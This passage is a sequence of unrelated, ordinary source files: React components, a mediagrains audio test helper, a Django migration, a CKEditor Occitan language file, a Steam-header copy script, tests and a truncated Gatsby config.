= this.state return ( <Fragment> <Button {...buttonProps} primary onClick={this.open} event="RepairDeviceButton"> {t('settings.repairDevice.button')} </Button> <RepairModal cancellable analyticsName="RepairDevice" isOpened={opened} onClose={this.close} onReject={this.close} repair={this.repair} isLoading={isLoading} title={t('settings.repairDevice.title')} desc={t('settings.repairDevice.desc')} progress={progress} error={error} /> </Fragment> ) } } const mapDispatchToProps = { push, } export default compose( translate(), withRouter, connect( null, mapDispatchToProps, ), )(RepairDeviceButton)
# # Copyright 2020 British Broadcasting Corporation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # import struct from mediagrains.cogenums import ( CogAudioFormat, COG_AUDIO_FORMAT_SAMPLEBYTES, COG_AUDIO_IS_PLANES, COG_AUDIO_IS_PAIRS, COG_AUDIO_IS_INTERLEAVED, COG_AUDIO_IS_FLOAT, COG_AUDIO_IS_DOUBLE ) def construct_audio_grain_data(fmt, test_data): """Create the bytes that would be expected in an audio grain""" channels = len(test_data) samples = len(test_data[0]) data = bytearray() if fmt in [ CogAudioFormat.S16_PLANES, CogAudioFormat.S16_PAIRS, CogAudioFormat.S16_INTERLEAVED, CogAudioFormat.S32_PLANES, CogAudioFormat.S32_PAIRS, CogAudioFormat.S32_INTERLEAVED ]: if COG_AUDIO_FORMAT_SAMPLEBYTES(fmt) == 2: pack_format = '<h' elif COG_AUDIO_FORMAT_SAMPLEBYTES(fmt) == 4: pack_format = '<i' elif COG_AUDIO_FORMAT_SAMPLEBYTES(fmt) == 8: pack_format = '<q' if COG_AUDIO_IS_PLANES(fmt): for c in range(channels): for s in range(samples): data.extend(struct.pack(pack_format, test_data[c][s])) elif COG_AUDIO_IS_PAIRS(fmt): for cp in range((channels + 1) // 2): for s in range(samples): data.extend(struct.pack(pack_format, test_data[cp * 2][s])) if cp * 2 + 1 < channels: data.extend(struct.pack(pack_format, test_data[cp * 2 + 1][s])) else: data.extend(struct.pack(pack_format, 0)) elif COG_AUDIO_IS_INTERLEAVED(fmt): for s in range(samples): for c in range(channels): data.extend(struct.pack(pack_format, test_data[c][s])) elif fmt in [ CogAudioFormat.S24_PAIRS, CogAudioFormat.S24_INTERLEAVED ]: pack_format = '<i' if COG_AUDIO_IS_PAIRS(fmt): for cp in range((channels + 1) // 2): for s in range(samples): data.extend(struct.pack(pack_format, test_data[cp * 2][s])[:3]) if cp * 2 + 1 < channels: data.extend(struct.pack(pack_format, test_data[cp * 2 + 1][s])[:3]) else: data.extend(struct.pack(pack_format, 0)[:3]) elif COG_AUDIO_IS_INTERLEAVED(fmt): for s in range(samples): for c in range(channels): data.extend(struct.pack(pack_format, test_data[c][s])[:3]) elif fmt in [ CogAudioFormat.S24_PLANES ]: pack_format = '<i' for c in range(channels): for s in range(samples): data.extend(struct.pack(pack_format, test_data[c][s])[:3]) data.extend(b'\0') elif fmt in [ CogAudioFormat.FLOAT_PLANES, CogAudioFormat.FLOAT_PAIRS, CogAudioFormat.FLOAT_INTERLEAVED, CogAudioFormat.DOUBLE_PLANES, CogAudioFormat.DOUBLE_PAIRS, CogAudioFormat.DOUBLE_INTERLEAVED ]: if COG_AUDIO_IS_FLOAT(fmt): pack_format = '<f' elif COG_AUDIO_IS_DOUBLE(fmt): pack_format = '<d' if COG_AUDIO_IS_PLANES(fmt): for c in range(channels): for s in range(samples): data.extend(struct.pack(pack_format, test_data[c][s])) elif COG_AUDIO_IS_PAIRS(fmt): for cp in range((channels + 1) // 2): for s in range(samples): data.extend(struct.pack(pack_format, test_data[cp * 2][s])) if cp * 2 + 1 < channels: data.extend(struct.pack(pack_format, test_data[cp * 2 + 1][s])) else: data.extend(struct.pack(pack_format, 0)) elif COG_AUDIO_IS_INTERLEAVED(fmt): for s in range(samples): for c in range(channels): data.extend(struct.pack(pack_format, test_data[c][s])) return data
Python 3.8.3 (tags/v3.8.3:6f8c832, May 13 2020, 22:37:02) [MSC v.1924 64 bit (AMD64)] on win32 Type "help", "copyright", "credits" or "license()" for more information. >>> for i in range(1042000, 702648265): num=i result=0 n=len(str(i)) while(i!=0): digit=i%10 result=result+digit**n i=i//10 if num==result: print(num)
export default { html: ` <div>before</div> test ` };
# -*- coding: utf-8 -*- # Generated by Django 1.10.3 on 2017-07-16 21:10 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Queue', fields=[ ('id', models.AutoField(primary_key=True, serialize=False)), ('storeId', models.CharField(max_length=256)), ('room_id', models.CharField(max_length=256)), ('position', models.IntegerField(default=0)), ], ), migrations.CreateModel( name='Room', fields=[ ('id', models.AutoField(primary_key=True, serialize=False)), ('hostname', models.CharField(max_length=256)), ('ip', models.CharField(max_length=256)), ('name', models.CharField(max_length=256)), ('queue_id', models.CharField(default=None, max_length=256)), ], ), migrations.CreateModel( name='Track', fields=[ ('beatsPerMinute', models.IntegerField(default=0)), ('playCount', models.IntegerField(default=0)), ('storeId', models.CharField(max_length=256, primary_key=True, serialize=False)), ('title', models.CharField(max_length=256)), ('albumArtRef', models.CharField(max_length=1024)), ('artistId', models.CharField(max_length=256)), ('creationTimestamp', models.CharField(max_length=256)), ('album', models.CharField(max_length=256)), ('recentTimestamp', models.CharField(max_length=256)), ('artist', models.CharField(max_length=256)), ('nid', models.CharField(max_length=256)), ('estimatedSize', models.CharField(max_length=256)), ('albumId', models.CharField(max_length=256)), ('genre', models.CharField(max_length=256)), ('artistArtRef', models.CharField(max_length=1024)), ('kind', models.CharField(max_length=256)), ('lastModifiedTimestamp', models.CharField(max_length=256)), ('durationMillis', models.CharField(max_length=256)), ], ), ]
import template from './sw-gtc-checkbox.html.twig'; import './sw-gtc-checkbox.scss'; Shopware.Component.register('sw-gtc-checkbox', { template, model: { prop: 'value', event: 'change', }, props: { value: { type: Boolean, required: true, }, }, methods: { onChange(value) { this.$emit('change', value); }, }, });
/* Copyright (c) 2003-2017, CKSource - Frederico Knabben. All rights reserved. For licensing, see LICENSE.md or http://ckeditor.com/license */ CKEDITOR.lang['oc']={"editor":"Editor de tèxte enriquit","editorPanel":"Tablèu de bòrd de l'editor de tèxte enriquit","common":{"editorHelp":"Utilisatz l'acorchi Alt-0 per obténer d'ajuda","browseServer":"Percórrer lo servidor","url":"URL","protocol":"Protocòl","upload":"Mandar","uploadSubmit":"Mandar sul servidor","image":"Imatge","flash":"Flash","form":"Formulari","checkbox":"Casa de marcar","radio":"Boton ràdio","textField":"Camp tèxte","textarea":"Zòna de tèxte","hiddenField":"Camp invisible","button":"Boton","select":"Lista desenrotlanta","imageButton":"Boton amb imatge","notSet":"<indefinit>","id":"Id","name":"Nom","langDir":"Sens d'escritura","langDirLtr":"Esquèrra a dreita (LTR)","langDirRtl":"Dreita a esquèrra (RTL)","langCode":"Còdi de lenga","longDescr":"URL de descripcion longa","cssClass":"Classas d'estil","advisoryTitle":"Infobulla","cssStyle":"Estil","ok":"D'acòrdi","cancel":"Anullar","close":"Tampar","preview":"Previsualizar","resize":"Redimensionar","generalTab":"General","advancedTab":"Avançat","validateNumberFailed":"Aquesta valor es pas un nombre.","confirmNewPage":"Los cambiaments pas salvats seràn perduts. Sètz segur que volètz cargar una novèla pagina ?","confirmCancel":"Certanas opcions son estadas modificadas. Sètz segur que volètz tampar ?","options":"Opcions","target":"Cibla","targetNew":"Novèla fenèstra (_blank)","targetTop":"Fenèstra superiora (_top)","targetSelf":"Meteissa fenèstra (_self)","targetParent":"Fenèstra parent (_parent)","langDirLTR":"Esquèrra a dreita (LTR)","langDirRTL":"Dreita a esquèrra (RTL)","styles":"Estil","cssClasses":"Classas d'estil","width":"Largor","height":"Nautor","align":"Alinhament","alignLeft":"Esquèrra","alignRight":"Dreita","alignCenter":"Centrar","alignJustify":"Justificar","alignTop":"Naut","alignMiddle":"Mitan","alignBottom":"Bas","alignNone":"Pas cap","invalidValue":"Valor invalida.","invalidHeight":"La nautor deu èsser un nombre.","invalidWidth":"La largor deu èsser un nombre.","invalidCssLength":"La valor especificada pel camp « %1 » deu èsser un nombre positiu amb o sens unitat de mesura CSS valid (px, %, in, cm, mm, em, ex, pt, o pc).","invalidHtmlLength":"La valor especificada pel camp « %1 » deu èsser un nombre positiu amb o sens unitat de mesura HTML valid (px o %).","invalidInlineStyle":"La valor especificada per l'estil en linha deu èsser compausada d'un o mantun parelh al format « nom : valor », separats per de punts-virgulas.","cssLengthTooltip":"Entrar un nombre per una valor en pixèls o un nombre amb una unitat de mesura CSS valida (px, %, in, cm, mm, em, ex, pt, o pc).","unavailable":"%1<span class=\"cke_accessibility\">, indisponible</span>","keyboard":{"8":"Retorn","13":"Entrada","16":"Majuscula","17":"Ctrl","18":"Alt","32":"Espaci","35":"Fin","36":"Origina","46":"Suprimir","224":"Comanda"},"keyboardShortcut":"Acorchi de clavièr"},"about":{"copy":"Copyright &copy; $1. Totes los dreits reservats.","dlgTitle":"A prepaus de CKEditor","help":"Consultar $1 per obténer d'ajuda.","moreInfo":"Per las informacions de licéncia, visitatz nòstre site web :","title":"A prepaus de CKEditor","userGuide":"Guida de l'utilizaire CKEditor (en anglés)"},"basicstyles":{"bold":"Gras","italic":"Italica","strike":"Raiat","subscript":"Indici","superscript":"Exponent","underline":"Solinhat"},"bidi":{"ltr":"Direccion del tèxte d'esquèrra cap a dreita","rtl":"Direccion del tèxte de dreita cap a esquèrra"},"blockquote":{"toolbar":"Citacion"},"clipboard":{"copy":"Copiar","copyError":"Los paramètres de seguretat de vòstre navigador autorizan pas l'editor a executar automaticament l'operacion « Copiar ». Utilizatz l'acorchi de clavièr a aqueste efièit (Ctrl/Cmd+C).","cut":"Talhar","cutError":"Los paramètres de seguretat de vòstre navigador autorizan pas l'editor a executar automaticament l'operacion « Talhar ». Utilizatz l'acorchi de clavièr a aqueste efièit (Ctrl/Cmd+X).","paste":"Pegar","pasteArea":"Pegar la zòna","pasteMsg":"Pegatz lo tèxte dins la zòna seguenta en utilizant l'acorchi de clavièr (<strong>Ctrl/Cmd+V</strong>) e clicatz sus D'acòrdi.","securityMsg":"Los paramètres de seguretat de vòstre navigador empach l'editor d'accedir dirèctament a las donadas del quichapapièr. Las vos cal pegar tornamai dins aquesta fenèstra.","title":"Pegar"},"button":{"selectedLabel":"%1 (Seleccionat)"},"colorbutton":{"auto":"Automatic","bgColorTitle":"Color de rèireplan","colors":{"000":"Negre","800000":"Marron","8B4513":"Brun de sèla","2F4F4F":"Gris escur de lausa","008080":"Guit","000080":"Blau marina","4B0082":"Indigo","696969":"Gris escur","B22222":"Roge teula","A52A2A":"Brun","DAA520":"Aur ternit","006400":"Verd escur","40E0D0":"Turquesa","0000CD":"Blau reial","800080":"Violet","808080":"Gris","F00":"Roge","FF8C00":"Irange escur","FFD700":"Aur","008000":"Verd","0FF":"Cian","00F":"Blau","EE82EE":"Violet","A9A9A9":"Gris tamisat","FFA07A":"Salmon clar","FFA500":"Irange","FFFF00":"Jaune","00FF00":"Lima","AFEEEE":"Turquesa clar","ADD8E6":"Blau clar","DDA0DD":"Pruna","D3D3D3":"Gris clar","FFF0F5":"Fard lavanda","FAEBD7":"Blanc antic","FFFFE0":"Jaune clar","F0FFF0":"Verd rosada","F0FFFF":"Azur","F0F8FF":"Blau Alícia","E6E6FA":"Lavanda","FFF":"Blanc","1ABC9C":"Strong Cyan","2ECC71":"Emerald","3498DB":"Bright Blue","9B59B6":"Amethyst","4E5F70":"Grayish Blue","F1C40F":"Vivid Yellow","16A085":"Dark Cyan","27AE60":"Dark Emerald","2980B9":"Strong Blue","8E44AD":"Dark Violet","2C3E50":"Desaturated Blue","F39C12":"Orange","E67E22":"Carrot","E74C3C":"Pale Red","ECF0F1":"Bright Silver","95A5A6":"Light Grayish Cyan","DDD":"Light Gray","D35400":"Pumpkin","C0392B":"Strong Red","BDC3C7":"Silver","7F8C8D":"Grayish Cyan","999":"Dark Gray"},"more":"Mai de colors...","panelTitle":"Colors","textColorTitle":"Color del tèxte"},"colordialog":{"clear":"Escafar","highlight":"Puntada","options":"Opcions de color","selected":"Color seleccionada","title":"Seleccionar una color"},"templates":{"button":"Modèls","emptyListMsg":"(Cap de modèl pas disponible)","insertOption":"Remplaçar lo contengut actual","options":"Opcions dels modèls","selectPromptMsg":"Seleccionatz lo modèl de dobrir dins l'editor","title":"Contengut dels modèls"},"contextmenu":{"options":"Opcions del menú contextual"},"copyformatting":{"label":"Copy Formatting","notification":{"copied":"Formatting copied","applied":"Formatting applied","canceled":"Formatting canceled","failed":"Formatting failed. You cannot apply styles without copying them first."}},"div":{"IdInputLabel":"ID","advisoryTitleInputLabel":"Infobulla","cssClassInputLabel":"Classas d'estil","edit":"Modificar la division","inlineStyleInputLabel":"Estil en linha","langDirLTRLabel":"Esquèrra a dreita (LTR)","langDirLabel":"Sens d'escritura","langDirRTLLabel":"Dreita a esquèrra (RTL)","languageCodeInputLabel":"Còdi de lenga","remove":"Levar la division","styleSelectLabel":"Estil","title":"Crear una division","toolbar":"Crear una division"},"toolbar":{"toolbarCollapse":"Enrotlar la barra d'aisinas","toolbarExpand":"Desenrotlar la barra d'aisinas","toolbarGroups":{"document":"Document","clipboard":"Quichapapièr/Desfar","editing":"Edicion","forms":"Formularis","basicstyles":"Estils de basa","paragraph":"Paragraf","links":"Ligams","insert":"Inserir","styles":"Estils","colors":"Colors","tools":"Aisinas"},"toolbars":"Barras d'aisinas de l'editor"},"elementspath":{"eleLabel":"Camin dels elements","eleTitle":"Element %1"},"find":{"find":"Recercar","findOptions":"Opcions de recèrca","findWhat":"Recercar :","matchCase":"Respectar la cassa","matchCyclic":"Boclar","matchWord":"Mot entièr unicament","notFoundMsg":"Lo tèxte especificat pòt pas èsser trobat.","replace":"Remplaçar","replaceAll":"Remplaçar tot","replaceSuccessMsg":"%1 ocurréncia(s) remplaçada(s).","replaceWith":"Remplaçar per :","title":"Recercar e remplaçar"},"fakeobjects":{"anchor":"Ancòra","flash":"Animacion Flash","hiddenfield":"Camp invisible","iframe":"Quadre de contengut incorporat","unknown":"Objècte desconegut"},"flash":{"access":"Accès als escripts","accessAlways":"Totjorn","accessNever":"Pas jamai","accessSameDomain":"Meteis domeni","alignAbsBottom":"Bas absolut","alignAbsMiddle":"Mitan absolut","alignBaseline":"Linha de basa","alignTextTop":"Naut del tèxte","bgcolor":"Color de rèireplan","chkFull":"Permetre l'ecran complet","chkLoop":"Bocla","chkMenu":"Activar lo menú Flash","chkPlay":"Legir automaticament","flashvars":"Variablas per Flash","hSpace":"Espaçament orizontal","properties":"Proprietats del Flash","propertiesTab":"Proprietats","quality":"Qualitat","qualityAutoHigh":"Nauta automatica","qualityAutoLow":"Bassa automatica","qualityBest":"Maximala","qualityHigh":"Nauta","qualityLow":"Bassa","qualityMedium":"Mejana","scale":"Escala","scaleAll":"Afichar tot","scaleFit":"Adaptacion automatica","scaleNoBorder":"Pas cap de bordadura","title":"Proprietats del Flash","vSpace":"Espaçament vertical","validateHSpace":"L'espaçament orizontal deu èsser un nombre.","validateSrc":"L'URL deu èsser indicada.","validateVSpace":"L'espaçament vertical deu èsser un nombre.","windowMode":"Mòde fenèstra","windowModeOpaque":"Opac","windowModeTransparent":"Transparent","windowModeWindow":"Fenèstra"},"font":{"fontSize":{"label":"Talha","voiceLabel":"Talha de poliça","panelTitle":"Talha de poliça"},"label":"Poliça","panelTitle":"Estil de poliça","voiceLabel":"Poliça"},"forms":{"button":{"title":"Proprietats del boton","text":"Tèxte","type":"Tipe","typeBtn":"Boton","typeSbm":"Validacion","typeRst":"Remesa a zèro"},"checkboxAndRadio":{"checkboxTitle":"Proprietats de la casa de marcar","radioTitle":"Proprietats del boton ràdio","value":"Valor","selected":"Seleccionat","required":"Requesit"},"form":{"title":"Proprietats del formulari","menu":"Proprietats del formulari","action":"Accion","method":"Metòde","encoding":"Encodatge"},"hidden":{"title":"Proprietats del camp invisible","name":"Nom","value":"Valor"},"select":{"title":"Proprietats del menú desenrotlant","selectInfo":"Informacions sul menú desenrotlant","opAvail":"Opcions disponiblas","value":"Valor","size":"Talha","lines":"linhas","chkMulti":"Permetre las seleccions multiplas","required":"Requesit","opText":"Tèxte","opValue":"Valor","btnAdd":"Apondre","btnModify":"Modificar","btnUp":"Naut","btnDown":"Bas","btnSetValue":"Definir coma valor seleccionada","btnDelete":"Suprimir"},"textarea":{"title":"Proprietats de la zòna de tèxte","cols":"Colomnas","rows":"Linhas"},"textfield":{"title":"Proprietats del camp tèxte","name":"Nom","value":"Valor","charWidth":"Largor dels caractèrs","maxChars":"Nombre maximum de caractèrs","required":"Requesit","type":"Tipe","typeText":"Tèxte","typePass":"Senhal","typeEmail":"Corrièr electronic","typeSearch":"Recercar","typeTel":"Numèro de telefòn","typeUrl":"URL"}},"format":{"label":"Format","panelTitle":"Format de paragraf","tag_address":"Adreça","tag_div":"Division (DIV)","tag_h1":"Títol 1","tag_h2":"Títol 2","tag_h3":"Títol 3","tag_h4":"Títol 4","tag_h5":"Títol 5","tag_h6":"Títol 6","tag_p":"Normal","tag_pre":"Preformatat"},"horizontalrule":{"toolbar":"Inserir una linha orizontala"},"iframe":{"border":"Afichar la bordadura del quadre","noUrl":"Entratz l'URL del contengut del quadre","scrolling":"Activar las barras de desfilament","title":"Proprietats del quadre de contengut incorporat","toolbar":"Quadre de contengut incorporat"},"image":{"alt":"Tèxte alternatiu","border":"Bordadura","btnUpload":"Mandar sul servidor","button2Img":"Volètz transformar lo boton amb imatge seleccionat en imatge simple ?","hSpace":"Espaçament orizontal","img2Button":"Volètz transformar l'imatge seleccionat en boton amb imatge ?","infoTab":"Informacions sus l'imatge","linkTab":"Ligam","lockRatio":"Conservar las proporcions","menu":"Proprietats de l'imatge","resetSize":"Reïnicializar la talha","title":"Proprietats de l'imatge","titleButton":"Proprietats del boton amb imatge","upload":"Mandar","urlMissing":"L'URL font de l'imatge es mancanta.","vSpace":"Espaçament vertical","validateBorder":"La bordadura deu èsser un nombre entièr.","validateHSpace":"L'espaçament orizontal deu èsser un nombre entièr.","validateVSpace":"L'espaçament vertical deu èsser un nombre entièr."},"indent":{"indent":"Aumentar l'alinèa","outdent":"Dmesir l'alinèa"},"smiley":{"options":"Opcions dels morrons","title":"Inserir un morron","toolbar":"Morron"},"justify":{"block":"Justificar","center":"Centrar","left":"Alinhar a esquèrra","right":"Alinhar a dreita"},"language":{"button":"Definir la lenga","remove":"Suprimir la lenga"},"link":{"acccessKey":"Tòca d'accessibilitat","advanced":"Avançat","advisoryContentType":"Tipe de contengut (indicatiu)","advisoryTitle":"Infobulla","anchor":{"toolbar":"Ancòra","menu":"Modificar l'ancòra","title":"Proprietats de l'ancòra","name":"Nom de l'ancòra","errorName":"Entratz lo nom de l'ancòra","remove":"Suprimir l'ancòra"},"anchorId":"Per ID d'element","anchorName":"Per nom d'ancòra","charset":"Encodatge de la ressorsa ligada","cssClasses":"Classas d'estil","download":"Forçar lo telecargament","displayText":"Afichar lo tèxte","emailAddress":"Adreça electronica","emailBody":"Còs del messatge","emailSubject":"Subjècte del messatge","id":"Id","info":"Informacions sul ligam","langCode":"Còdi de lenga","langDir":"Sens d'escritura","langDirLTR":"Esquèrra a dreita (LTR)","langDirRTL":"Dreita a esquèrra (RTL)","menu":"Modificar lo ligam","name":"Nom","noAnchors":"(Cap d'ancòra pas disponibla dins aqueste document)","noEmail":"Entratz l'adreça electronica","noUrl":"Entratz l'URL del ligam","other":"<autre>","popupDependent":"Dependenta (Netscape)","popupFeatures":"Caracteristicas de la fenèstra sorgissenta","popupFullScreen":"Ecran complet (IE)","popupLeft":"A esquèrra","popupLocationBar":"Barra d'adreça","popupMenuBar":"Barra de menú","popupResizable":"Redimensionable","popupScrollBars":"Barras de desfilament","popupStatusBar":"Barra d'estat","popupToolbar":"Barra d'aisinas","popupTop":"Amont","rel":"Relacion","selectAnchor":"Seleccionar una ancòra","styles":"Estil","tabIndex":"Indici de tabulacion","target":"Cibla","targetFrame":"<quadre>","targetFrameName":"Nom del quadre afectat","targetPopup":"<fenèstra sorgissenta>","targetPopupName":"Nom de la fenèstra sorgissenta","title":"Ligam","toAnchor":"Ancòra","toEmail":"Corrièl","toUrl":"URL","toolbar":"Ligam","type":"Tipe de ligam","unlink":"Suprimir lo ligam","upload":"Mandar"},"list":{"bulletedlist":"Inserir/Suprimir una lista amb de piuses","numberedlist":"Inserir/Suprimir una lista numerotada"},"liststyle":{"armenian":"Numerotacion armènia","bulletedTitle":"Proprietats de la lista de piuses","circle":"Cercle","decimal":"Decimal (1, 2, 3, etc.)","decimalLeadingZero":"Decimal precedit per un 0 (01, 02, 03, etc.)","disc":"Disc","georgian":"Numeracion georgiana (an, ban, gan, etc.)","lowerAlpha":"Letras minusculas (a, b, c, d, e, etc.)","lowerGreek":"Grèc minuscula (alfa, bèta, gamma, etc.)","lowerRoman":"Chifras romanas minusculas (i, ii, iii, iv, v, etc.)","none":"Pas cap","notset":"<indefinit>","numberedTitle":"Proprietats de la lista numerotada","square":"Carrat","start":"Començament","type":"Tipe","upperAlpha":"Letras majusculas (A, B, C, D, E, etc.)","upperRoman":"Chifras romanas majusculas (I, II, III, IV, V, etc.)","validateStartNumber":"Lo primièr element de la lista deu èsser un nombre entièr."},"magicline":{"title":"Inserir un paragraf aicí"},"maximize":{"maximize":"Maximizar","minimize":"Minimizar"},"newpage":{"toolbar":"Pagina novèla"},"pagebreak":{"alt":"Saut de pagina","toolbar":"Inserir un saut de pagina per l'impression"},"pastetext":{"button":"Pegar coma tèxte brut","title":"Pegar coma tèxte brut"},"pastefromword":{"confirmCleanup":"Sembla que lo tèxte de pegar proven de Word. Lo volètz netejar abans de lo pegar ?","error":"Las donadas pegadas an pas pogut èsser netejadas a causa d'una error intèrna","title":"Pegar dempuèi Word","toolbar":"Pegar dempuèi Word"},"preview":{"preview":"Previsualizar"},"print":{"toolbar":"Imprimir"},"removeformat":{"toolbar":"Suprimir la mesa en forma"},"save":{"toolbar":"Enregistrar"},"selectall":{"toolbar":"Seleccionar tot"},"showblocks":{"toolbar":"Afichar los blòts"},"sourcearea":{"toolbar":"Font"},"specialchar":{"options":"Opcions dels caractèrs especials","title":"Seleccionar un caractèr","toolbar":"Inserir un caractèr especial"},"scayt":{"btn_about":"About SCAYT","btn_dictionaries":"Dictionaries","btn_disable":"Disable SCAYT","btn_enable":"Enable SCAYT","btn_langs":"Languages","btn_options":"Options","text_title":"Spell Check As You Type"},"stylescombo":{"label":"Estils","panelTitle":"Estils de mesa en pagina","panelTitle1":"Estils de blòt","panelTitle2":"Estils en linha","panelTitle3":"Estils d'objècte"},"table":{"border":"Talha de la bordadura","caption":"Títol del tablèu","cell":{"menu":"Cellula","insertBefore":"Inserir una cellula abans","insertAfter":"Inserir una cellula aprèp","deleteCell":"Suprimir las cellulas","merge":"Fusionar las cellulas","mergeRight":"Fusionar cap a dreita","mergeDown":"Fusionar cap aval","splitHorizontal":"Separar la cellula orizontalament","splitVertical":"Separar la cellula verticalament","title":"Proprietats de la cellula","cellType":"Tipe de cellula","rowSpan":"Linhas ocupadas","colSpan":"Colomnas ocupadas","wordWrap":"Cesura","hAlign":"Alinhament orizontal","vAlign":"Alinhament vertical","alignBaseline":"Linha de basa","bgColor":"Color de rèireplan","borderColor":"Color de bordadura","data":"Donadas","header":"Entèsta","yes":"Òc","no":"Non","invalidWidth":"La largor de la cellula deu èsser un nombre.","invalidHeight":"La nautor de la cellula deu èsser un nombre.","invalidRowSpan":"Lo nombre de linhas ocupadas deu èsser un nombre entièr.","invalidColSpan":"Lo nombre de colomnas ocupadas deu èsser un nombre entièr.","chooseColor":"Causir"},"cellPad":"Marge intèrne de las cellulas","cellSpace":"Espaçament entre las cellulas","column":{"menu":"Colomna","insertBefore":"Inserir una colomna abans","insertAfter":"Inserir una colomna aprèp","deleteColumn":"Suprimir las colomnas"},"columns":"Colomnas","deleteTable":"Suprimir lo tablèu","headers":"Entèstas","headersBoth":"Los dos","headersColumn":"Primièra colomna","headersNone":"Pas cap","headersRow":"Primièra linha","invalidBorder":"La talha de la bordadura deu èsser un nombre.","invalidCellPadding":"Lo marge intèrne de las cellulas deu èsser un nombre positiu.","invalidCellSpacing":"L'espaçament entre las cellulas deu èsser un nombre positiu.","invalidCols":"Lo nombre de colomnas deu èsser superior a 0.","invalidHeight":"La nautor del tablèu deu èsser un nombre.","invalidRows":"Lo nombre de linhas deu èsser superior a 0.","invalidWidth":"La largor del tablèu deu èsser un nombre.","menu":"Proprietats del tablèu","row":{"menu":"Linha","insertBefore":"Inserir una linha abans","insertAfter":"Inserir una linha aprèp","deleteRow":"Suprimir las linhas"},"rows":"Linhas","summary":"Resumit (descripcion)","title":"Proprietats del tablèu","toolbar":"Tablèu","widthPc":"per cent","widthPx":"pixèls","widthUnit":"unitat de largor"},"undo":{"redo":"Refar","undo":"Restablir"},"wsc":{"btnIgnore":"Ignore","btnIgnoreAll":"Ignore All","btnReplace":"Replace","btnReplaceAll":"Replace All","btnUndo":"Undo","changeTo":"Change to","errorLoading":"Error loading application service host: %s.","ieSpellDownload":"Spell checker not installed. Do you want to download it now?","manyChanges":"Spell check complete: %1 words changed","noChanges":"Spell check complete: No words changed","noMispell":"Spell check complete: No misspellings found","noSuggestions":"- No suggestions -","notAvailable":"Sorry, but service is unavailable now.","notInDic":"Not in dictionary","oneChange":"Spell check complete: One word changed","progress":"Spell check in progress...","title":"Spell Checker","toolbar":"Check Spelling"}};
import React from 'react'; import ReactDOM from 'react-dom' function Counter(){ const [number,setNumber] = React.useState(0) // effect函数会在当前的组件渲染到DOM 后执行 React.useEffect ( ()=>{ // debugger console.log('开启一个新的定时器') const timer = setInterval( ()=>{ console.log('执行了定时器') setNumber(number+1) // setNumber(number => number+1) },1000) return ()=>{ clearInterval(timer); } }, []) return <p>{number}</p> } function Counter2(){ const [number,setNumber] = React.useState(0) React.useEffect ( ()=>{ debugger console.log('开启一个新的定时器') const timer = setInterval( ()=>{ console.log('执行了定时器') setNumber(number+1) },1000) return ()=>{ clearInterval(timer); } }, [number]) return <p>{number}</p> } const element17 = <Counter2 /> function Counter(){ //源码里每一个虚拟DOM会有一个fiber //const [number,setNumber] = React.useState(0); //effect函数会在当前的组件渲染到DOM后执行 React.useEffect(()=>{ console.log('执行effect'); return ()=>{//在执行下一次的effect之前要执行销毁函数 console.log('销毁effect'); } /* console.log('开启一个新的定时器'); const timer = setInterval(()=>{ console.log('执行定时器',number); setNumber(number+1); },1000); return ()=>{//在执行下一次的effect之前要执行销毁函数 console.log('清空定时器',number); clearInterval(timer); } */ },[]); return <p>{0}</p> } function App(){ const [visible,setVisible] = React.useState(true); return ( <div> {visible?<Counter/>:null} <button onClick={()=>setVisible(false)}>hide</button> </div> ) } ReactDOM.render( <App /> , document.getElementById('root'));
from os import chdir, listdir, getcwd from subprocess import Popen from glob import glob LocalVariables = [] rainmeterPath = getcwd() with open("..\\LocalVariables.txt", "r") as inFile: LocalVariables = inFile.readlines() #Importing user defined path and steam account identifier. chdir(LocalVariables[0][:-1] + "\\appcache\\librarycache") #LocalVariable[0] is user's steam path ToBeCopied = glob("*_header.jpg") #Create list of files to be copied, using glob for wildcard functionality. for i in ToBeCopied: if i.replace("_header", "") in listdir(rainmeterPath + "\\..\\headers"): #If file already exists in rainmeter headers folder, skip. pass else: Popen("copy " + i + " " + rainmeterPath + "\\..\\headers\\" + i.replace("_header", ""), shell = True)
/* global describe beforeEach it */ /*const {expect} = require('chai') const { db, models: { User } } = require('../index') const jwt = require('jsonwebtoken'); const seed = require('../../../script/seed'); describe('User model', () => { let users; beforeEach(async() => { users = (await seed()).users; }) describe('instanceMethods', () => { describe('generateToken', () => { it('returns a token with the id of the user', async() => { const token = await users.cody.generateToken(); const { id } = await jwt.verify(token, process.env.JWT); expect(id).to.equal(users.cody.id); }) }) // end describe('correctPassword') describe('authenticate', () => { let user; beforeEach(async()=> user = await User.create({ username: 'lucy', password: 'loo' })); describe('with correct credentials', ()=> { it('returns a token', async() => { const token = await User.authenticate({ username: 'lucy', password: 'loo' }); expect(token).to.be.ok; }) }); describe('with incorrect credentials', ()=> { it('throws a 401', async() => { try { await User.authenticate({ username: '[email protected]', password: '123' }); throw 'nooo'; } catch(ex){ expect(ex.status).to.equal(401); } }) }); }) // end describe('authenticate') }) // end describe('instanceMethods') }) // end describe('User model') */
// @target: es5, es2015, esnext // @noEmit: true // @noTypesAndSymbols: true // https://github.com/microsoft/TypeScript/issues/38243 function test0({ a =0 , b =a } = {}) { return { a, b }; } function test1({ c: { a =0 , b =a } = {} } = {}) { return { a, b }; }
const lost = require('lost') const pxtorem = require('postcss-pxtorem') module.exports = { siteMetadata: { url: 'https://randomni.surge.sh', title: 'Randomni', subtitle: 'My personal blog. Coding stuff and a bunch of random things.', copyright: '© All rights reserved.', disqusShortname: '', menu: [ { label: 'Articles', path: '/', }, { label: 'About me', path: '/about/', }, ], author: { name: 'Rodrigo Masaru Ohashi', email: '[email protected]', telegram: '#', twitter: 'rm_ohashi', github: 'rmohashi', rss: '#', vk: '#', }, }, plugins: [ { resolve: 'gatsby-source-filesystem', options: { path: `${__dirname}/src/pages`, name: 'pages', }, }, { resolve: 'gatsby-plugin-feed', options: { query: ` { site { siteMetadata { site_url: url title description: subtitle } } } `, feeds: [ { serialize: ({ query: { site, allMarkdownRemark } }) => allMarkdownRemark.edges.map(edge => Object.assign({}, edge.node.frontmatter, { description: edge.node.frontmatter.description, date: edge.node.frontmatter.date, url: site.siteMetadata.site_url + 